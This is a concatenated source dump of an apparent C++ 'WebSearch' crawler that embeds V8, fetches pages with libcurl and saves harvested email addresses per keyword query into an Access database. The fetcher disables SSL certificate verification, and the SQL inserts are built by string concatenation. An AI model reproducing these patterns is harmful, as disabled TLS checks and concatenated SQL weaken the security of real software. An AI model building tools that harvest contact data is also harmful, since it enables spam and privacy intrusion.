    O* value = I::ReadField<O*>(obj, offset);
    return I::GetExternalPointer(value);
  }

  return SlowGetPointerFromInternalField(index);
}


String* String::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<String*>(value);
}


Local<String> String::Empty(Isolate* isolate) {
  typedef internal::Object* S;
  typedef internal::Internals I;
  if (!I::IsInitialized(isolate)) return Empty();
  S* slot = I::GetRoot(isolate, I::kEmptySymbolRootIndex);
  return Local<String>(reinterpret_cast<String*>(slot));
}


String::ExternalStringResource* String::GetExternalStringResource() const {
  typedef internal::Object O;
  typedef internal::Internals I;
  O* obj = *reinterpret_cast<O**>(const_cast<String*>(this));
  String::ExternalStringResource* result;
  if (I::IsExternalTwoByteString(I::GetInstanceType(obj))) {
    void* value = I::ReadField<void*>(obj, I::kStringResourceOffset);
    result = reinterpret_cast<String::ExternalStringResource*>(value);
  } else {
    result = NULL;
  }
#ifdef V8_ENABLE_CHECKS
  VerifyExternalStringResource(result);
#endif
  return result;
}


bool Value::IsUndefined() const {
#ifdef V8_ENABLE_CHECKS
  return FullIsUndefined();
#else
  return QuickIsUndefined();
#endif
}

bool Value::QuickIsUndefined() const {
  typedef internal::Object O;
  typedef internal::Internals I;
  O* obj = *reinterpret_cast<O**>(const_cast<Value*>(this));
  if (!I::HasHeapObjectTag(obj)) return false;
  if (I::GetInstanceType(obj) != I::kOddballType) return false;
  return (I::GetOddballKind(obj) == I::kUndefinedOddballKind);
}


bool Value::IsNull() const {
#ifdef V8_ENABLE_CHECKS
  return FullIsNull();
#else
  return QuickIsNull();
#endif
}

bool Value::QuickIsNull() const {
  typedef internal::Object O;
  typedef internal::Internals I;
  O* obj = *reinterpret_cast<O**>(const_cast<Value*>(this));
  if (!I::HasHeapObjectTag(obj)) return false;
  if (I::GetInstanceType(obj) != I::kOddballType) return false;
  return (I::GetOddballKind(obj) == I::kNullOddballKind);
}


bool Value::IsString() const {
#ifdef V8_ENABLE_CHECKS
  return FullIsString();
#else
  return QuickIsString();
#endif
}

bool Value::QuickIsString() const {
  typedef internal::Object O;
  typedef internal::Internals I;
  O* obj = *reinterpret_cast<O**>(const_cast<Value*>(this));
  if (!I::HasHeapObjectTag(obj)) return false;
  return (I::GetInstanceType(obj) < I::kFirstNonstringType);
}


Number* Number::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<Number*>(value);
}


Integer* Integer::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<Integer*>(value);
}


Date* Date::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<Date*>(value);
}


StringObject* StringObject::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<StringObject*>(value);
}


NumberObject* NumberObject::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<NumberObject*>(value);
}


BooleanObject* BooleanObject::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<BooleanObject*>(value);
}


RegExp* RegExp::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<RegExp*>(value);
}


Object* Object::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<Object*>(value);
}


Array* Array::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<Array*>(value);
}


Function* Function::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<Function*>(value);
}


External* External::Cast(v8::Value* value) {
#ifdef V8_ENABLE_CHECKS
  CheckCast(value);
#endif
  return static_cast<External*>(value);
}


Isolate* AccessorInfo::GetIsolate() const {
  return *reinterpret_cast<Isolate**>(&args_[-3]);
}


Local<Value> AccessorInfo::Data() const {
  return Local<Value>(reinterpret_cast<Value*>(&args_[-2]));
}


Local<Object> AccessorInfo::This() const {
  return Local<Object>(reinterpret_cast<Object*>(&args_[0]));
}


Local<Object> AccessorInfo::Holder() const {
  return Local<Object>(reinterpret_cast<Object*>(&args_[-1]));
}


Handle<Primitive> Undefined(Isolate* isolate) {
  typedef internal::Object* S;
  typedef internal::Internals I;
  if (!I::IsInitialized(isolate)) return Undefined();
  S* slot = I::GetRoot(isolate, I::kUndefinedValueRootIndex);
  return Handle<Primitive>(reinterpret_cast<Primitive*>(slot));
}


Handle<Primitive> Null(Isolate* isolate) {
  typedef internal::Object* S;
  typedef internal::Internals I;
  if (!I::IsInitialized(isolate)) return Null();
  S* slot = I::GetRoot(isolate, I::kNullValueRootIndex);
  return Handle<Primitive>(reinterpret_cast<Primitive*>(slot));
}


Handle<Boolean> True(Isolate* isolate) {
  typedef internal::Object* S;
  typedef internal::Internals I;
  if (!I::IsInitialized(isolate)) return True();
  S* slot = I::GetRoot(isolate, I::kTrueValueRootIndex);
  return Handle<Boolean>(reinterpret_cast<Boolean*>(slot));
}


Handle<Boolean> False(Isolate* isolate) {
  typedef internal::Object* S;
  typedef internal::Internals I;
  if (!I::IsInitialized(isolate)) return False();
  S* slot = I::GetRoot(isolate, I::kFalseValueRootIndex);
  return Handle<Boolean>(reinterpret_cast<Boolean*>(slot));
}


void Isolate::SetData(void* data) {
  typedef internal::Internals I;
  I::SetEmbedderData(this, data);
}


void* Isolate::GetData() {
  typedef internal::Internals I;
  return I::GetEmbedderData(this);
}


/**
 * \example shell.cc
 * A simple shell that takes a list of expressions on the
 * command-line and executes them.
 */


/**
 * \example process.cc
 */


}  // namespace v8


#undef V8EXPORT
#undef TYPE_CHECK


#endif  // V8_H_







WebSearch/WebSearch/V8Ext/V8Ext.h

#ifndef _V8Ext
#define _V8Ext
#include "string"
using namespace std;

#include "../v8/v8.h"
class V8Ext{
private:
    static V8Ext * _pV8Ext;

    wstring wstrAutoDoFileFullName;
    int inputArgc;
    wchar_t** inputArgv;
    bool ExecuteString(v8::Handle<v8::String> source,
                   v8::Handle<v8::Value> name);
    void initPrarmsDecode(int argc,wchar_t ** argv);
    void V8Ext::RunShell(v8::Handle<v8::Context> context);
    void registObjectsAndFunctions(v8::Handle<v8::ObjectTemplate> global);
    V8Ext();
public:
    static V8Ext * getInstance();
    int startV8Ext();    
};
#endif






WebSearch/WebSearch/V8Ext/V8ExtBridge.h

#ifndef _V8ExtBridge
#define _V8ExtBridge
#include <string>
#include <sstream>
#include <stdlib.h>
#include <stdio.h>

#include "V8Utils.h"

#include "../V8/v8.h"
#include "V8Ext.h"

using namespace std;

v8::Handle<v8::Value> PrintInfo(const v8::Arguments& args);
v8::Handle<v8::Value> Read(const v8::Arguments& args);
v8::Handle<v8::Value> CreateQueryJob(const v8::Arguments& args);
v8::Handle<v8::Value> SaveEMail(const v8::Arguments& args);

#endif






WebSearch/WebSearch/v8/v8stdint.h

// Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//     * Redistributions of source code must retain the above copyright
//       notice, this list of conditions and the following disclaimer.
//     * Redistributions in binary form must reproduce the above
//       copyright notice, this list of conditions and the following
//       disclaimer in the documentation and/or other materials provided
//       with the distribution.
//     * Neither the name of Google Inc. nor the names of its
//       contributors may be used to endorse or promote products derived
//       from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

// Load definitions of standard types.

#ifndef V8STDINT_H_
#define V8STDINT_H_

#include <stddef.h>
#include <stdio.h>

#if defined(_WIN32) && !defined(__MINGW32__)

typedef signed char int8_t;
typedef unsigned char uint8_t;
typedef short int16_t;  // NOLINT
typedef unsigned short uint16_t;  // NOLINT
typedef int int32_t;
typedef unsigned int uint32_t;
typedef __int64 int64_t;
typedef unsigned __int64 uint64_t;
// intptr_t and friends are defined in crtdefs.h through stdio.h.

#else

#include <stdint.h>

#endif

#endif  // V8STDINT_H_







WebSearch/WebSearch/V8Ext/V8Utils.h

#ifndef _V8UTILS
#define _V8UTILS
#include <string>
#include <vector>
#include <windows.h> 
#include <io.h>
#include <stdlib.h>
#include <fstream>
#include "../v8/v8.h"

using namespace std;

class V8Utils{
public:
	static wstring V8Utils::Utf82Unicode(const std::string& utf8string);

	static string V8Utils::WideByte2Acsi(std::wstring& wstrcode);

	static string V8Utils::UTF_82ASCII(std::string& strUtf8Code);

	static string V8Utils::ASCII2UTF_8(std::string& strAsciiCode);

	static string V8Utils::Unicode2Utf8(const std::wstring& widestring);

	static wstring V8Utils::Acsi2WideByte(std::string& strascii);

   // static wstring V8Utils::UTF_8StrToUTF_16Wstr(string strUTF_8);
    static string V8Utils::UTF16WstrToUTF8Str(wstring wstrUTF16);
    static string V8Utils::readFile(string strFilePath);

    static int V8Utils::CreatDir(char *pszDir);

    static void V8Utils::writeFile(string strFilePath,string strFileText);
    static void V8Utils::writeFile(string strFilePath,char * pData,int iLen);

    static bool V8Utils::fileExists(string strFileFullName);

    static string V8Utils::readMsgLog(string strMsgLogFileFullName);
    static void V8Utils::addMsgLog(string strMsgLogFileFullName,string strTxt);

    static string & V8Utils::replaceAll(string& str,const string& old_value,const string& new_value);

    /////////////////////////////////////////////////////
    static int V8Utils::CreatDir(wchar_t * wcDir,int iWCDirTextLen);
    static int V8Utils::CreatDir(wstring wstrDir);
    static void V8Utils::writeFile(wstring wstrFilePath,string strFileText);
    static void V8Utils::writeFile(wstring wstrFilePath,const char * pData,int iLen);
    static string V8Utils::getUTF8StringFromV8Object(v8::Handle<v8::Object> v8Obj,string strAttributeName);
    static string V8Utils::getUTF8StringFromV8Object(v8::Handle<v8::Object> v8Obj);
    static bool V8Utils::fileExists(wstring wstrFileFullName);
    static wstring & V8Utils::replaceAll(wstring& wstr,const wstring& old_value,const wstring& new_value);
    static void V8Utils::addMsgLog(wstring wstrMsgLogFileFullName,string strTxt);
    static string V8Utils::readMsgLog(wstring wstrMsgLogFileFullName);
    /////////////////////////////////////////////////////
    static string V8Utils::readFile(wstring wstrFilePath);
    /*从指定编码格式转换成为wchar_t UTF16 Little endain 编码，无 FF FE 签名*/
    static bool V8Utils::encodingToWstrUTF16(wstring &wstrResult,string strSourceData,string strSourceCodeName);

    /*从指定编码格式转换成为wchar_t UTF16 Little endain 编码，无 FF FE 签名*/
    static bool V8Utils::encodingToWstrUTF16(wstring &wstrResult,const char * pcSourceData,int iSourceDataLen,string strSourceCodeName);

    static bool V8Utils::decodingFromWstrUTF16(string &strResult,
                                  const wchar_t * pwcSourceData,
                                  int iSourceDataLen,
                                  string strTargetCodeName);

    static bool V8Utils::decodingFromWstrUTF16(string &strResult,
                                  wstring wstrSourceData,
                                  string strTargetCodeName);

    static bool V8Utils::encoding(string &strResult,
                                    string strSourceData,
                                    string strSourceCodeName,
                                    string strTargetCodeName);

    static bool V8Utils::encoding(string &strResult,
                                    const char * pcSourceData,
                                    int iSourceDataLen,
                                    string strSourceCodeName,
                                    string strTargetCodeName);
};
#endif






WebSearch/WebSearch/V8Ext/cproxyv8/cproxyv8.cpp


WebSearch/WebSearch/V8Ext/cproxyv8/cproxyv8.cpp

// Copyright 2008 the CProxyV8 project authors. All rights reserved.


// Redistribution and use in source and binary forms, with or without


// modification, are permitted provided that the following conditions are


// met:


//


//     * Redistributions of source code must retain the above copyright


//       notice, this list of conditions and the following disclaimer.


//     * Redistributions in binary form must reproduce the above


//       copyright notice, this list of conditions and the following


//       disclaimer in the documentation and/or other materials provided


//       with the distribution.


//


// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS


// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT


// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR


// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT


// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,


// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT


// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,


// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY


// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT


// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE


// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.





#include "stdafx.h"


#include "cproxyv8.h"





void Accessor_SetProperty(v8::Local<v8::String> property, v8::Local<v8::Value> value, const v8::AccessorInfo& info)


{


  v8::Local<v8::External> external = v8::Local<v8::External>::Cast(info.Data());


  AccessorProperty* callBack = static_cast<AccessorProperty*>(external->Value());


  callBack->AccessorSetProperty(property, value, info);


}





v8::Handle<v8::Value> Accessor_GetProperty(v8::Local<v8::String> property, const v8::AccessorInfo& info)


{


  v8::Local<v8::External> external = v8::Local<v8::External>::Cast(info.Data());


  AccessorProperty* callBack = static_cast<AccessorProperty*>(external->Value());


  return callBack->AccessorGetProperty(property,  info);


}








v8::Handle<v8::Value> Accessor_Function(const v8::Arguments& args)


{


  v8::Local<v8::External> external = v8::Local<v8::External>::Cast(args.Data());


  AccessorFunction* callBack = static_cast<AccessorFunction*>(external->Value());


  return callBack->call(args);


}










WebSearch/WebSearch/DBHelper.cpp

#include "stdafx.h"
#include "DBHelper.h"
#include "Utils.h"
#include "Dlls/msado15.tlh"

using namespace std;

DBHelper::DBHelper(){
	_wstrError = L"";
	_wstrConn = L"";
	_m_pConnection = NULL;
}

DBHelper::~DBHelper(){
	close();
}

bool DBHelper::open(){

	try{
		if(_m_pConnection != NULL){
			if(_m_pConnection->GetState() == adStateOpen){
				return true;
			}
			return false;
		}
		HRESULT hr;
		hr = _m_pConnection.CreateInstance(__uuidof(Connection)); //创建连接对象
		if(FAILED(hr)){
			_wstrError = L"连接数据库失败";
			return false;
		}
		_m_pConnection->ConnectionTimeout=5;///设置超时时间为5秒 
		//hr = _m_pConnection->Open(_wstrConn.c_str(),"","",adModeUnknown);
		hr = _m_pConnection->Open(_wstrConn.c_str(),"","",NULL);
		if(FAILED(hr)){
			_wstrError = L"连接数据库失败";
			return false;
		}
	}catch(_com_error e){
		string strError =  e.Description();
		_wstrError = L"打开结果集发生错误："+Utils::ascii2Unicode(strError);
		return false;
	}
	return true;
}

bool DBHelper::close(){
	if(_m_pConnection == NULL){
		return true;
	}
	try{
		if(_m_pConnection->GetState() == adStateOpen){
			_m_pConnection->Close();
		}
		return false;
	}catch(_com_error e){
	}
	_m_pConnection = NULL;
	return true;
}

void DBHelper::setConnStr(wstring wstrConn){
	_wstrConn = wstrConn;
}

bool DBHelper::execForQuery(wstring wstrSql,_RecordsetPtr& m_pRecordset){

	try
	{
		string strUTF8 = Utils::Unicode2Utf8(wstrSql);
		/*受影响的行数*/
		_variant_t recordsAffected; 
		m_pRecordset = _m_pConnection->Execute(wstrSql.c_str(),&recordsAffected,adCmdText);
		return true;
		//m_pRecordset = m_pConnection->Execute("SELECT COUNT(*) FROM users",&RecordsAffected,adCmdText); 

		//HRESULT hrOpenResultset = m_pRecordset->Open(wstrSql.c_str(),// 查询DemoTable表中所有字段
		//	_m_pConnection.GetInterfacePtr(),  // 获取库接库的IDispatch指针
		//	adOpenDynamic,
		//	adLockOptimistic,
		//	adCmdText);
		////HRESULT hrReadRecordset = m_pRecordset->MoveFirst();
		//if(SUCCEEDED(hrOpenResultset)){
		//	/*成功*/
		//	return true;
		//}
	}
	catch(_com_error e)
	{
		string strError = e.Description();
		_wstrError = L"打开结果集发生错误："+Utils::ascii2Unicode(strError);
	}
	return false;
}

wstring DBHelper::getError(){
	return _wstrError;
}

_ConnectionPtr DBHelper::getConnectionPtr(){
	return _m_pConnection;
}






WebSearch/WebSearch/DBManager.cpp

#include "stdafx.h"
#include "DBManager.h"
#include "DBHelper.h"
#include "Utils.h"
#include "Dlls/msado15.tlh"
using namespace std;
wstring DBManager::_wstrConn = L"Provider=Microsoft.ACE.OLEDB.12.0;Data Source=.\\WebSearch.accdb;Jet OLEDB:Database Password=;";
bool DBManager::_InitCOMENV = false;
DBManager::DBManager(){
	if(DBManager::_InitCOMENV == false){
		DBManager::_InitCOMENV = true;
		::CoInitialize(NULL);
	}
	_wstrError = L"";
}

void DBManager::freeResultset(_RecordsetPtr& m_pRecordset){
	if(m_pRecordset == NULL){
		return;
	}
	try{
		if(m_pRecordset->GetState() == adStateOpen){
			m_pRecordset->Close();
		}	
	}catch(_com_error e){
	}
	m_pRecordset = NULL;
}

bool DBManager::testConn(wstring wstrConn){
	_wstrError = L"";
	bool bResult = false;
	DBHelper dbHelper;
	dbHelper.setConnStr(wstrConn);
	bool bOpen = dbHelper.open();
	if(bOpen == false){
		_wstrError = dbHelper.getError();
		return false;
	}
	_RecordsetPtr m_pRecordset;
	m_pRecordset.CreateInstance(__uuidof(Recordset));
	if(dbHelper.execForQuery(L"select 1 as id",m_pRecordset)){
		try{
			HRESULT hrReadRecordset = m_pRecordset->MoveFirst();
			if(SUCCEEDED(hrReadRecordset)){
				_variant_t var = m_pRecordset->GetCollect("id");
				if(var.vt != VT_NULL){
					string strNo  = (LPCSTR)_bstr_t(var);
					bResult = true;
				}else{
					_wstrError = L"测试数据库返回值错误。";
				}
			}else{
				_wstrError = L"测试数据库返回结果集错误。";
			}
		}catch(_com_error e){
			string strError = e.Description();
			_wstrError = L"测试数据库读取结果错误："+Utils::ascii2Unicode(strError);
		}
	}
	freeResultset(m_pRecordset);
	return bResult;
}

bool DBManager::testConn(){
	return testConn(_wstrConn);
}

wstring DBManager::getError(){
	return _wstrError;
}

bool DBManager::saveKeyWordJob(wstring wstrKeyWord,int& iQueryID){
	iQueryID = 0;
	_wstrError = L"";
	bool bResult = false;
	DBHelper dbHelper;
	dbHelper.setConnStr(_wstrConn);
	bool bOpen = dbHelper.open();
	if(bOpen == false){
		_wstrError = dbHelper.getError();
		printf("打开数据库错误\n");
		wprintf(_wstrError.c_str());
		return false;
	}
	_CommandPtr pCommand;
    pCommand.CreateInstance(__uuidof(Command));
	pCommand->ActiveConnection = dbHelper.getConnectionPtr();
	pCommand->CommandType = adCmdText;
	_ParameterPtr pParameter;
    pParameter.CreateInstance(__uuidof(Parameter));
	wstring wstrSql = L"insert into QueryInfo(keyWord,QueryDateTime)\n"
		L"values(\""+Utils::replaceAll(wstrKeyWord,L"\"",L"\"\"")+L"\",now())";
	pCommand->CommandText = wstrSql.c_str();
	try{
		pCommand->Execute(NULL,NULL, adCmdText);
		_RecordsetPtr m_pRecordset;
		m_pRecordset.CreateInstance(__uuidof(Recordset));
		wstrSql = L"SELECT  @@identity as id";
		if(dbHelper.execForQuery(wstrSql,m_pRecordset)){
			try{
				HRESULT hrReadRecordset = m_pRecordset->MoveFirst();
				if(SUCCEEDED(hrReadRecordset)){
					_variant_t var = m_pRecordset->GetCollect("id");
					if(var.vt != VT_NULL){
						iQueryID = var.intVal;
						bResult = true;
					}
				}
			}catch(_com_error e){
				string strError = e.Description();
			}
			freeResultset(m_pRecordset);
		}
	}catch(_com_error e){
			string strError = e.Description();
	}
	return bResult;
}

bool DBManager::saveEMail(int iQueryID,wstring wstrURL,wstring wstrEMail){
	_wstrError = L"";
	bool bResult = false;
	DBHelper dbHelper;
	dbHelper.setConnStr(_wstrConn);
	bool bOpen = dbHelper.open();
	if(bOpen == false){
		_wstrError = dbHelper.getError();
		return false;
	}
	_CommandPtr pCommand;
    pCommand.CreateInstance(__uuidof(Command));
	pCommand->ActiveConnection = dbHelper.getConnectionPtr();
	pCommand->CommandType = adCmdText;
	_ParameterPtr pParameter;
    pParameter.CreateInstance(__uuidof(Parameter));
	wstring wstrSql = L"insert into Email(QueryInfoID,URL,Email)\n"
		L"values("+Utils::i2ws(iQueryID)+L",\""+Utils::replaceAll(wstrURL,L"\"",L"\"\"")+L"\",\""+Utils::replaceAll(wstrEMail,L"\"",L"\"\"")+L"\")";
	pCommand->CommandText = wstrSql.c_str();
	try{
		pCommand->Execute(NULL,NULL, adCmdText);
		bResult = true;
	}catch(_com_error e){
			string strError = e.Description();
	}
	return bResult;
}







WebSearch/WebSearch/V8Ext/NetExplorer.cpp

#include "stdafx.h"
#include "NetExplorer.h"

void NetExplorer::clearClass(){
    try{
		int iHttpHeaderSize = _pmapHttpHeader->size();
		if(iHttpHeaderSize>0 && iHttpHeaderSize<100){
			_pmapHttpHeader->clear();
			
		}
    }
    catch(...)
	{
		int iErr = 0;
		iErr++;
	}
	try{
		int ilistCookieSize = _plistCookie->size();
		if(ilistCookieSize>0 && ilistCookieSize<100){
			_plistCookie->clear();
		}
	}
    catch(...)
	{
		int iErr = 0;
		iErr++;
	}
}
NetExplorer::NetExplorer(){
    
    _wstrResponseBodyEncoding = L"";
    _strHttpMethod = "GET";
    _strUserAgent = "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36";
	_strResponseHeader = "";
	_strResponseBody = "";
	_strURL = "";
	_strError = "";
	_strLastURL = "";
}
NetExplorer::~NetExplorer(){
    clearClass();
}
v8::Handle<v8::Value>NetExplorer::resetNetExplorer(const v8::Arguments& args){
	_wstrResponseBodyEncoding = L"";
    _strUserAgent = "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36";
	_strResponseHeader = "";
	_strResponseBody = "";
	_strURL = "";
	_strError = "";
	_iStateCode = -1;
	_strLastURL = "";
	_iStateCode = -1;
	return v8::Undefined();
}
v8::Handle<v8::Value> NetExplorer::clearHttpHeader(const v8::Arguments& args){
    
    _pmapHttpHeader->clear();
	_plistCookie->clear();
    return v8::Undefined();
}
v8::Handle<v8::Value> NetExplorer::setResponseBodyEncoding(const v8::Arguments& args){
    
    if(args.Length()>0){
		 v8::String::Utf8Value v8StrUTF8(args[0]);
		 string strUTF8 = *v8StrUTF8;
         if(strUTF8.length() == 0){
             _wstrResponseBodyEncoding = L"";
         }else{

             V8Utils::encodingToWstrUTF16(_wstrResponseBodyEncoding,
                                   strUTF8,
                                   "utf-8//IGNORE");
         }
	}
    return v8::Undefined();
}
v8::Handle<v8::Value> NetExplorer::getResponseBodyEncoding(const v8::Arguments& args){
   
    string strUTF8Page = "";
	if(args.Length()>0){
		v8::String::Utf8Value v8StrUTF8(args[0]);
		string pageCharset = *v8StrUTF8;
		V8Utils::encoding(strUTF8Page,_strResponseBody.c_str(),
			_strResponseBody.length(),pageCharset,"utf-8//IGNORE");
	}
    return v8::String::New(strUTF8Page.c_str());
}
v8::Handle<v8::Value> NetExplorer::getResponseHead(const v8::Arguments& args){

	return v8::String::New(_strResponseHeader.c_str());
}
v8::Handle<v8::Value> NetExplorer::getResponseBody(const v8::Arguments& args){
    
    if(_wstrResponseBodyEncoding.length() > 0){
        
        string strResponseBodyEncoding = "";
        V8Utils::decodingFromWstrUTF16(strResponseBodyEncoding,
            _wstrResponseBodyEncoding,"utf-8//IGNORE");
        
        string strResp = _strResponseBody;
        wstring wstrUTF16 = L"";

        V8Utils::encodingToWstrUTF16(wstrUTF16,strResp,
            strResponseBodyEncoding.c_str());

        string strUTF8 = "";
        V8Utils::decodingFromWstrUTF16(strUTF8,wstrUTF16,"utf-8//IGNORE");
        return v8::String::New(strUTF8.c_str());

    }else{

        string strEUCJP = _strResponseBody;
        return v8::String::New(_strResponseBody.c_str());
    }
    
}
v8::Handle<v8::Value> NetExplorer::setURL(const v8::Arguments& args){
	if(args.Length()>0){
		 v8::String::Utf8Value v8StrUTF8(args[0]);
		 string strUTF8 = *v8StrUTF8;
		 _strURL = V8Utils::UTF_82ASCII(strUTF8);
	}
	return v8::Undefined();
}
v8::Handle<v8::Value> NetExplorer::send(const v8::Arguments& args){
	if(sent()){
		return v8::Boolean::New(true);
	}
	return v8::Boolean::New(false);
}
v8::Handle<v8::Value> NetExplorer::getError(const v8::Arguments& args){

	string strUTF8 = V8Utils::ASCII2UTF_8(_strError);
	return v8::String::New(strUTF8.c_str());
}
size_t NetExplorer::httpData_callback(const char *ptr, size_t size, size_t nmemb, std::string *stream)
{
    size_t len  = size * nmemb;
    stream->append(ptr, len);
    return len;
}
size_t NetExplorer::httpHeader_callback(const char  *ptr, size_t size, size_t nmemb, std::string *stream)  
{  
    size_t len  = size * nmemb;
    stream->append(ptr, len);
    return len;
} 
bool NetExplorer::sent(){

	bool bResult =false;
	_strLastURL = "";
	_strError = "";
	CURL *curl;
    CURLcode code;
    std::string szbuffer;
    std::string szheader_buffer;
	curl_global_init(CURL_GLOBAL_ALL);
	curl = curl_easy_init();
    if(!curl){
        bResult = false;
    }else{

		curl_easy_setopt(curl, CURLOPT_URL, _strURL.c_str());
		/* 对SSL设置 跳过服务器SSL验证，不使用CA证书 */
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        /* 设置重定向的最大次数 */
        curl_easy_setopt(curl, CURLOPT_MAXREDIRS, 30);
        /* 设置301、302跳转跟随location */
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1);
        /* 抓取内容后，回调函数 */
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, NetExplorer::httpData_callback);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &szbuffer);
        /* 抓取头信息，回调函数 */
        curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, NetExplorer::httpHeader_callback );
        curl_easy_setopt(curl, CURLOPT_HEADERDATA, &szheader_buffer);
        code = curl_easy_perform(curl);
        if(CURLE_OK == code) {
            bResult = true;
            _strResponseHeader = szheader_buffer;
		    _strResponseBody = szbuffer;
        }else if(CURLE_OPERATION_TIMEDOUT == code){
			_strError = "超时时间已到，服务器没有返回结果.";
		}
        else if(CURLE_COULDNT_RESOLVE_HOST == code){
           _strError = "无法解析的主机.";
        }
		else{
            _strError = "其他类型错误";
        }
		char *pbuffEffectiveURL = NULL;

		curl_easy_getinfo(curl,CURLINFO_HTTP_CODE,&_iStateCode); 
		curl_easy_getinfo(curl,CURLINFO_EFFECTIVE_URL,&pbuffEffectiveURL);
		_strLastURL = string(pbuffEffectiveURL);

	}
	curl_easy_cleanup(curl);
    return bResult;
}

v8::Handle<v8::Value> NetExplorer::getStateCode(const v8::Arguments& args){
	return v8::Uint32::New(_iStateCode);
}

v8::Handle<v8::Value> NetExplorer::getLastURL(const v8::Arguments& args){
	return v8::String::New(_strLastURL.c_str(),_strLastURL.length());
}






WebSearch/WebSearch/stdafx.cpp


WebSearch/WebSearch/stdafx.cpp

// stdafx.cpp : 只包括标准包含文件的源文件


// WebSearch.pch 将作为预编译头


// stdafx.obj 将包含预编译类型信息





#include "stdafx.h"





// TODO: 在 STDAFX.H 中


// 引用任何所需的附加头文件，而不是在此文件中引用







WebSearch/WebSearch/Utils.cpp

#include "stdafx.h"
#include "Utils.h"
#include <string>
#include <iostream>
#include <comutil.h>
#include <windows.h> 
#include <fstream>
#include <vector>
#include <direct.h>
#include <stdlib.h>
#include <windows.h>
#include <shellapi.h>
#include <Commdlg.h>
#include <shlobj.h>

using namespace std;

wstring Utils::_wstrWorkDir = L"";

wstring Utils::ascii2Unicode(string strText){

	wstring result;   
    //获取缓冲区大小，并申请空间，缓冲区大小按字符计算   
    int len = MultiByteToWideChar(CP_ACP, 0, strText.c_str(), strText.size(), NULL, 0);   
    TCHAR* buffer = new TCHAR[len + 1];   
    //多字节编码转换成宽字节编码   
    MultiByteToWideChar(CP_ACP, 0, strText.c_str(), strText.size(), buffer, len);   
    buffer[len] = '\0';             //添加字符串结尾   
    //删除缓冲区并返回值   
    result.append(buffer);   
    delete[] buffer;   
    return result;   
}

string Utils::unicode2Ascii(wstring widestring){

	int utf8size = ::WideCharToMultiByte(CP_ACP, 0, widestring.c_str(), -1, NULL, 0, NULL, NULL);
	if (utf8size == 0)
	{
		throw std::exception("Error in conversion.");
	}
 
	std::vector<char> resultstring(utf8size);
 
	int convresult = ::WideCharToMultiByte(CP_ACP, 0, widestring.c_str(), -1, &resultstring[0], utf8size, NULL, NULL);
 
	if (convresult != utf8size)
	{
		throw std::exception("La falla!");
	}
 
	return std::string(&resultstring[0]);
}

string Utils::Unicode2Utf8(const std::wstring& widestring)
{
